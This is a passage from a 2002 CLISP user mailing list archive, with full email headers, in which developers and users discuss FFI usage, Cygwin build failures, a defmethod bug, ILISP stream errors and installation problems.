c-hostname 15) ; 0 on success (defvar hostname (ffi:deref c-hostname))) ; deref converts c-string to lisp type and link the glibc to clisp. don't know if the dynamic-ffi works here. I've written a short and simple summary and overview of various FFI's at http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ http://tv.mur.at/ (kulturelles) From samuel.steingold@verizon.net Sat Feb 02 13:15:50 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16X7Vl-000619-00 for ; Sat, 02 Feb 2002 13:15:49 -0800 Received: from xchange.com ([151.203.224.67]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020202211547.KZBH24823.out016.verizon.net@xchange.com>; Sat, 2 Feb 2002 15:15:47 -0600 To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] clx References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 2 13:16:13 2002 X-Original-Date: 02 Feb 2002 16:15:26 -0500 > * In message > * On the subject of "[clisp-list] clx" > * Sent on Sat, 2 Feb 2002 10:15:13 -0800 > * Honorable "Dave Richards" writes: > > I'm sure this is a bone-headed question, but what steps follow after > building the module? the modules are in the "full" image: $ ./configure --with-module=clx/new-clx --build build $ cd build $ su make install $ clisp -K full > (xlib::....) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! nobody's life, liberty or property are safe while the legislature is in session From rurban@x-ray.at Sat Feb 02 15:15:12 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16X9NG-0002iB-00 for ; Sat, 02 Feb 2002 15:15:10 -0800 Received: from [212.186.209.189] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16X9N9-0004NG-00; Sun, 03 Feb 2002 00:15:03 +0100 Message-ID: <3C5C72F8.13B4B79C@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp CC: cygwin@cygwin.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] cygwin build fails ootb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 2 15:16:02 2002 X-Original-Date: Sat, 02 Feb 2002 23:15:04 +0000 cygwin fails to build ootb with the current clisp ualarm() workaround. http://www.math.utexas.edu/pipermail/maxima/2001/000756.html didn't help. however, with the proper declaration of the cygwin ualarm extern_C useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval)); instead of extern_C unsigned int ualarm (unsigned int value, unsigned int interval); /* siehe UALARM(3) */ in unix.c, line 297 and without the cygwin32 alarm() and ualarm() workaround in unixaux.d it compiled successfully then. make check stops on (LOAD "*.lsp") OK: FILE-ERROR (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO41") hmm. I don't understand this. should I post excepsit.erg? --- Note: I had to move away /usr/local/lib/libiconv.* and /usr/local/include/iconv.h and rebuild gettext/intl/libintl.a because I had older versions there. the hacks in gettext/intl to seperate from older and existing versions apparently didn't work. ---- cfgunix.lsp and cfgwin32.lsp could be merged to some kind of cfgcygwin.lsp. should I provide such a file? with cfgunix.lsp only, esp. without (setq *device-prefix* "cygdrive") make fails if `pwd` begins with /cygdrive/ after a mount to /usr/src/clisp it works fine. strange. ---- Note: The cygwin Makefile line LN_S = ln -s could be improved to LN_S = ln on NTFS (hardlinks) make complained on non-existing targets. after the mount to /usr/src/clisp and cd /usr/src/clisp it worked. ---- ootb: Windows 2000 Professional Ver 5.0 Build 2195 Service Pack 2 rel. new cygwin setup: Build date: Sat Dec 8 17:02:30 EST 2001 CVS tag: cygwin-1-3-6-6 $ bash --version GNU bash, version 2.05a.0(2)-release (i686-pc-cygwin) Copyright 2001 Free Software Foundation, Inc. $ cvs -d :pserver:anonymous@cvs.clisp.sf.net:/cvsroot/clisp login $ cvs -d :pserver:anonymous@cvs.clisp.sf.net:/cvsroot/clisp co clisp $ cd clisp $ ./configure build-cyg # avcall tests aso. pass successfully $ cd build-cyg rurban@REINI /cygdrive/r/lisp/clisp/clisp/build-cyg $ # ./makemake --with-dir-key --with-readline --with-gettext --with-dynamic-ffi --with-module=wildcard --with-module=regexp --with-dynamic-modules --with-export-syscalls --with-termcap > ../Makefile # oops, next time. for now just the simple version: $ ./makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile ... gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDIR_KEY -DDYNAMIC_FFI -DDYNAMIC_MODULES -c spvw.c In file included from /usr/include/stdlib.h:22, from unix.d:17, from lispbibl.d:1750, from spvw.d:22: /usr/include/alloca.h:14: warning: `alloca' redefined lispbibl.d:1068: warning: this is the location of the previous definition In file included from lispbibl.d:1750, from spvw.d:22: unix.d:287: warning: `HAVE_UALARM' redefined unixconf.h:458: warning: this is the location of the previous definition In file included from lispbibl.d:1751, from spvw.d:22: unix.d:296: conflicting types for `ualarm' /usr/include/sys/unistd.h:136: previous declaration of `ualarm' In file included from spvw.d:536: spvw_garcol.d: In function `gc_compact_from_varobject_page': spvw_garcol.d:2100: warning: `p2' might be used uninitialized in this function spvw_garcol.d:2101: warning: `l2' might be used uninitialized in this function spvw_garcol.d: In function `gc_compact_from_cons_page': spvw_garcol.d:2156: warning: `p2' might be used uninitialized in this function spvw_garcol.d:2157: warning: `l2' might be used uninitialized in this function In file included from spvw.d:547: spvw_circ.d: In function `get_circularities': spvw_circ.d:641: warning: implicit declaration of function `_setjmp' spvw_circ.d: In function `get_circ_mark': spvw_circ.d:700: warning: implicit declaration of function `_longjmp' spvw.d: In function `main': spvw.d:1709: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork' make: *** [spvw.o] Fehler 1 -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ http://tv.mur.at/ (kulturelles) From lenst@mac.com Sun Feb 03 07:48:24 2002 Received: from [204.179.120.86] (helo=smtpout.mac.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XOsR-0003CX-00 for ; Sun, 03 Feb 2002 07:48:23 -0800 Received: from smtp-relay01.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g13FmNOW008077 for ; Sun, 3 Feb 2002 07:48:23 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun 21 2001 23:53:48) with ESMTP id GQYRWM00.3AV for ; Sun, 3 Feb 2002 07:48:22 -0800 Received: from localhost ([194.22.193.143]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GQYRWL00.BW4 for ; Sun, 3 Feb 2002 07:48:21 -0800 Mime-Version: 1.0 (Apple Message framework v480) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Lennart Staflin To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <53BA0D38-18BD-11D6-B78E-0030656FF2A0@mac.com> X-Mailer: Apple Mail (2.480) Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 07:49:01 2002 X-Original-Date: Sun, 3 Feb 2002 16:47:28 +0100 Hi, I have compiled the latest CVS version of CLISP and found the following problem: [8]> (defmethod foo ((x (eql 1))) x) *** - SYMBOL-PACKAGE: 1 is not a symbol This worked with the version of CLISP I compiled from CVS a month ago. //Lennart Staflin From lenst@mac.com Sun Feb 03 08:00:08 2002 Received: from smtpout.mac.com ([204.179.120.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XP3n-0000TC-00 for ; Sun, 03 Feb 2002 08:00:07 -0800 Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g13FxxGm008719 for ; Sun, 3 Feb 2002 07:59:59 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun 21 2001 23:53:48) with ESMTP id GQYSFZ00.RF8 for ; Sun, 3 Feb 2002 07:59:59 -0800 Received: from localhost ([194.22.193.143]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GQYSFY00.TUI for ; Sun, 3 Feb 2002 07:59:58 -0800 Mime-Version: 1.0 (Apple Message framework v480) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Lennart Staflin To: Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.480) Subject: [clisp-list] CLISP and ILISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 08:01:17 2002 X-Original-Date: Sun, 3 Feb 2002 16:59:21 +0100 I have started to use the ILISP mode for Emacs and found a problem. I don't know how ILISP communicates with the Lisp process, it don't seem to be PTYs. The *terminal-io* stream exhibits the following behaviour [2]> (finish-output t) *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket //Lennart From samuel.steingold@verizon.net Sun Feb 03 08:27:38 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XPUN-0007zC-00 for ; Sun, 03 Feb 2002 08:27:35 -0800 Received: from xchange.com ([151.203.224.67]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020203162726.MORW10804.out006.verizon.net@xchange.com>; Sun, 3 Feb 2002 10:27:26 -0600 To: Lennart Staflin Cc: Subject: Re: [clisp-list] CLISP and ILISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 08:28:16 2002 X-Original-Date: 03 Feb 2002 11:27:11 -0500 > * In message > * On the subject of "[clisp-list] CLISP and ILISP" > * Sent on Sun, 3 Feb 2002 16:59:21 +0100 > * Honorable Lennart Staflin writes: > > I have started to use the ILISP mode for Emacs and found a problem. I > don't know how ILISP communicates with the Lisp process, it don't seem > to be PTYs. The *terminal-io* stream exhibits the following behaviour > > [2]> (finish-output t) > *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket what is the value of *terminal-io*? why do you need to call FINISH-OUTPUT on it? please report this to the ILISP people. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Your mouse has moved - WinNT has to be restarted for this to take effect. From samuel.steingold@verizon.net Sun Feb 03 09:10:35 2002 Received: from out001pub.verizon.net ([206.46.170.101] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XQ9x-0007ZL-00 for ; Sun, 03 Feb 2002 09:10:33 -0800 Received: from xchange.com ([151.203.224.67]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020203171024.OPVP7202.out001.verizon.net@xchange.com>; Sun, 3 Feb 2002 11:10:24 -0600 To: Lennart Staflin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <53BA0D38-18BD-11D6-B78E-0030656FF2A0@mac.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <53BA0D38-18BD-11D6-B78E-0030656FF2A0@mac.com> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 09:11:03 2002 X-Original-Date: 03 Feb 2002 12:09:58 -0500 > * In message <53BA0D38-18BD-11D6-B78E-0030656FF2A0@mac.com> > * On the subject of "[clisp-list] (no subject)" > * Sent on Sun, 3 Feb 2002 16:47:28 +0100 > * Honorable Lennart Staflin writes: > > I have compiled the latest CVS version of CLISP and found the following > problem: > > [8]> (defmethod foo ((x (eql 1))) x) > > *** - SYMBOL-PACKAGE: 1 is not a symbol fixed in the CVS. thanks for the bug report (of course, if you use CVS, you are supposed to subscribe to clisp-devel and report problems there -- blah blah ... :-) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! I haven't lost my mind -- it's backed up on tape somewhere. From lenst@mac.com Sun Feb 03 13:35:03 2002 Received: from smtpout.mac.com ([204.179.120.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XUHu-0001ZB-00 for ; Sun, 03 Feb 2002 13:35:02 -0800 Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6]) by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g13LZ0Gm026200 for ; Sun, 3 Feb 2002 13:35:00 -0800 (PST) Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun 21 2001 23:53:48) with ESMTP id GQZ7YC00.J4Y for ; Sun, 3 Feb 2002 13:35:00 -0800 Received: from localhost ([194.22.193.35]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48) with ESMTP id GQZ7YB00.C6G; Sun, 3 Feb 2002 13:34:59 -0800 Subject: Re: [clisp-list] CLISP and ILISP Content-Type: text/plain; charset=ISO-8859-1; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Cc: To: sds@gnu.org From: Lennart Staflin In-Reply-To: Message-Id: Content-Transfer-Encoding: quoted-printable X-Mailer: Apple Mail (2.480) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 13:36:02 2002 X-Original-Date: Sun, 3 Feb 2002 22:34:15 +0100 >> * In message >> * On the subject of "[clisp-list] CLISP and ILISP" >> * Sent on Sun, 3 Feb 2002 16:59:21 +0100 >> * Honorable Lennart Staflin writes: >> >> I have started to use the ILISP mode for Emacs and found a problem. I >> don't know how ILISP communicates with the Lisp process, it don't = seem >> to be PTYs. The *terminal-io* stream exhibits the following behaviour >> >> [2]> (finish-output t) >> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote: > what is the value of *terminal-io*? # > why do you need to call FINISH-OUTPUT on it? It is part of a logging routine that could send its output to some other=20= stream, but usually it goes to *terminal-io*. > please report this to the ILISP people. Hmm. Do you mean that finish-output could reasonably fail for some type=20= of stream. //Lennart From jimka@rdrop.com Sun Feb 03 13:59:35 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XUff-00050A-00 for ; Sun, 03 Feb 2002 13:59:35 -0800 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16XUfY-0001au-00; Sun, 03 Feb 2002 22:59:28 +0100 Received: from a758d.pppool.de ([213.6.117.141] helo=rdrop.com) by mx0.freenet.de with asmtp (ID jimka@freenet.de) (Exim 3.33 #3) id 16XUfX-0007uz-00; Sun, 03 Feb 2002 22:59:28 +0100 Message-ID: <3C5DB2BB.940CDB30@rdrop.com> From: Jim Newton X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] problem with installation instructions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 14:00:03 2002 X-Original-Date: Sun, 03 Feb 2002 22:59:23 +0100 i'm trying to install clisp on redhat linux 7.2. i followed the instructions in the README file down to the part about running a program called ./hardcode but there is no such program. What do you think i'm doing wrong? [jimka@localhost clisp-2.27]# mkdir /usr/local/lib/lisp [jimka@localhost clisp-2.27]# mv base/lisp.run /usr/local/lib/lisp [jimka@localhost clisp-2.27]# mv base/lispinit.mem /usr/local/lib/lisp [jimka@localhost clisp-2.27]# ./hardcode -DLISPLIBDIR='/usr/local/lib/lisp' -DLOCALEDIR='/usr/local/share/locale' clisp /usr/local/bin/clisp ./hardcode: Command not found. [jimka@localhost clisp-2.27]# pwd /home/jimka/tmp/clisp-2.27 [jimka@localhost clisp-2.27]# find . -type f -name hardcode [jimka@localhost clisp-2.27]# find . -type f -print | grep hard [jimka@localhost clisp-2.27]# find . -type f -print | grep code ./data/UnicodeData.txt -jim -- jimka http://www.gaydar.co.uk/jimka or http://www.homo.de/user/hp.asp?nickname=JIMKA From samuel.steingold@verizon.net Sun Feb 03 16:56:06 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XXQT-0005IR-00 for ; Sun, 03 Feb 2002 16:56:05 -0800 Received: from xchange.com ([151.203.224.67]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020204005603.PBDQ25425.out018.verizon.net@xchange.com>; Sun, 3 Feb 2002 18:56:03 -0600 To: Lennart Staflin Cc: Subject: Re: [clisp-list] CLISP and ILISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 16:57:02 2002 X-Original-Date: 03 Feb 2002 19:55:20 -0500 > * In message > * On the subject of "Re: [clisp-list] CLISP and ILISP" > * Sent on Sun, 3 Feb 2002 22:34:15 +0100 > * Honorable Lennart Staflin writes: > > >> [2]> (finish-output t) > >> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket >=20 > On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote: > > what is the value of *terminal-io*? > # please report all the details. 1. OS name and version 2. CLISP version 3. ILISP version 4. Emacs version try to isolate the problem: does the error manifests itself only under ILISP? what about the standard inferior lisp mode? what about xterm? what is the backtrace? ideally, for me to fix the bug, I need to be able to reproduce it with some minimal setup (i.e., "clisp -norc -i foo.lisp" and get an error where foo.lisp is <10 lines) --=20 Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Who is General Failure and why is he reading my hard disk? From samuel.steingold@verizon.net Sun Feb 03 16:59:57 2002 Received: from out005pub.verizon.net ([206.46.170.105] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XXUC-0005VV-00 for ; Sun, 03 Feb 2002 16:59:56 -0800 Received: from xchange.com ([151.203.224.67]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020204005948.OUEI5018.out005.verizon.net@xchange.com>; Sun, 3 Feb 2002 18:59:48 -0600 To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with installation instructions References: <3C5DB2BB.940CDB30@rdrop.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C5DB2BB.940CDB30@rdrop.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 17:00:04 2002 X-Original-Date: 03 Feb 2002 19:59:10 -0500 > * In message <3C5DB2BB.940CDB30@rdrop.com> > * On the subject of "[clisp-list] problem with installation instructions" > * Sent on Sun, 03 Feb 2002 22:59:23 +0100 > * Honorable Jim Newton writes: > > i'm trying to install clisp on redhat linux 7.2. i followed the > instructions in the README file down to the part about running > a program called ./hardcode you did not say where you got CLISP and whether it was a source or a binary distribution. fortunately, my ESP is up to the task and I can tell you that you got a binary distribution. the standard reply is that binary distributions are the last resort for those who cannot use source distributions (e.g., they do not have a C compiler or the build fails for some reason.) thus, please download the source distribution and build from it. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From mabramso@gmu.edu Sun Feb 03 18:44:32 2002 Received: from d041.itd.nrl.navy.mil ([132.250.87.41] helo=home.sweet.home) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16XZ7N-00043R-00 for ; Sun, 03 Feb 2002 18:44:29 -0800 Received: (from myriam@localhost) by home.sweet.home (8.11.2/8.11.2) id g142pSI32579; Sun, 3 Feb 2002 21:51:28 -0500 X-Authentication-Warning: home.sweet.home: myriam set sender to mabramso@gmu.edu using -f To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with installation instructions References: <3C5DB2BB.940CDB30@rdrop.com> From: Myriam Abramson In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 3 18:45:06 2002 X-Original-Date: 03 Feb 2002 21:51:27 -0500 > > i'm trying to install clisp on redhat linux 7.2. i followed the > > instructions in the README file down to the part about running > > a program called ./hardcode > I recall this confusing part of the documentation. It's about compiling the driver for the lisp image. It must be old documentation. It should just be gcc -DLISPLIBDIR=... -DLISPLOCALEDIR=... clisp.c -o /usr/local/bin/clisp help that helps myriam From peter.wood@worldonline.dk Tue Feb 05 06:59:42 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Y74O-0003dW-00 for ; Tue, 05 Feb 2002 06:59:40 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 8E73DB4C1 for ; Tue, 5 Feb 2002 15:59:34 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g15EjSB18433; Tue, 5 Feb 2002 15:45:28 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020205154528.A18401@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] read-line strips trailing spaces Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 5 07:00:08 2002 X-Original-Date: Tue, 5 Feb 2002 15:45:28 +0100 GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651) On GNU/Linux read-line strips off spaces, so "foo " becomes "foo". Regards, Peter From abramson@aic.nrl.navy.mil Tue Feb 05 07:42:16 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Y7i9-0004tn-00 for ; Tue, 05 Feb 2002 07:40:45 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id KAA00815; Tue, 5 Feb 2002 10:39:11 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g15Fd5V08017; Tue, 5 Feb 2002 10:39:05 -0500 (EST) To: Reini Urban Cc: clisp Subject: Re: [clisp-list] FFI question References: <3C5C560F.B73352A4@x-ray.at> From: Myriam Abramson In-Reply-To: <3C5C560F.B73352A4@x-ray.at> Message-ID: Lines: 46 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 5 07:43:02 2002 X-Original-Date: 05 Feb 2002 10:39:05 -0500 Thanks but it's my understanding that def-c-var has to be the name of a c variable. You can't make your own c-variables on the lisp side. Since there is no such c variable, the code below does not link: Undefined first referenced symbol in file _lisp__c_2Dhostname foreign.o ld: fatal: Symbol referencing errors. No output written to lisp.run > > Any ideas? > > defvar assigns a variable on the lisp heap, but the def-c-call-out gethostname > needs > a memory location on the extra c-heap, which is similar to a simple malloc > there. > does gethostname() strcpy the name to char* name or points to the string on > the system heap? > > you would need something like this (untested) with a strcpy'ing gethostname. > > (ffi:def-c-call-out gethostname (:arguments (name c-string) (len > size_t))(:return-type int)) > (ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free)) > (if (zerop (linux:gethostname c-hostname 15) ; 0 on success > (defvar hostname (ffi:deref c-hostname))) ; deref converts c-string > to lisp type > > and link the glibc to clisp. don't know if the dynamic-ffi works here. > > I've written a short and simple summary and overview of various FFI's at > http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html > -- > Reini Urban > http://xarch.tu-graz.ac.at/home/rurban/ > http://tv.mur.at/ (kulturelles) > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- myriam From samuel.steingold@verizon.net Tue Feb 05 10:50:17 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net 